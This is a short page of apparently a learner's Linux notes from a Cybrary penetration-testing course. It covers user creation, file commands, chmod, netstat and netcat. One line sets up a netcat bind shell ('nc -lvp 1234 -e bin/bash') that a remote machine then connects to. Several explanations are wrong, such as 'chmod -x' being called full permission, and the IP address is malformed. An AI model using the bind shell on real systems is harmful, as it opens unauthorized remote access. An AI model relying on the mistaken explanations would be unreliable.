< All Advanced Penetration Testing Notes

mosa3 | Advanced Penetration Testing | Module 1 - Linux

By: mosa3 | Related Course: Advanced Penetration Testing | Published: July 20, 2017 | Modified: July 22, 2017
Join Cybrary

Notepadp2

1-  adduser mosa

2- su mosa

3- adduser mosa sudo   


Notepadp3

1- cp  (for copy)

2- mv  (for rename)

3- rm  (for remove)

4-  echo hi mosa>filename  (will write inside the file)and use cat to open it

4-  echo hi mosa again>>filename (for writing down line and avoiding over writing

5- nano filename  or vi filename (for opening the file and edit or delete) :wq (for chabge in vi file and quit)

 

 

 


Notepadp4

1- chmod 750 myfile (permission for file read and execute)

2- chmod -x myfile (full permission)

3- netstat -antp (for ports that are running )


Notepadp5

1- nano /etc/network/interfaces (for ip)

2- nc -lvp 1234 (listening for port)

3- nc 192.1.77 1234 (it will connect to other machine port for communication)

4- nc -lvp 1234  -e bin/bash (listening in root privileges) then –> nc 192.1.77 1234

 


< All Advanced Penetration Testing Notes
Join Cybrary

Our Revolution

We believe Cyber Security training should accessible for everyone, everywhere. Everyone deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is the world's largest community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel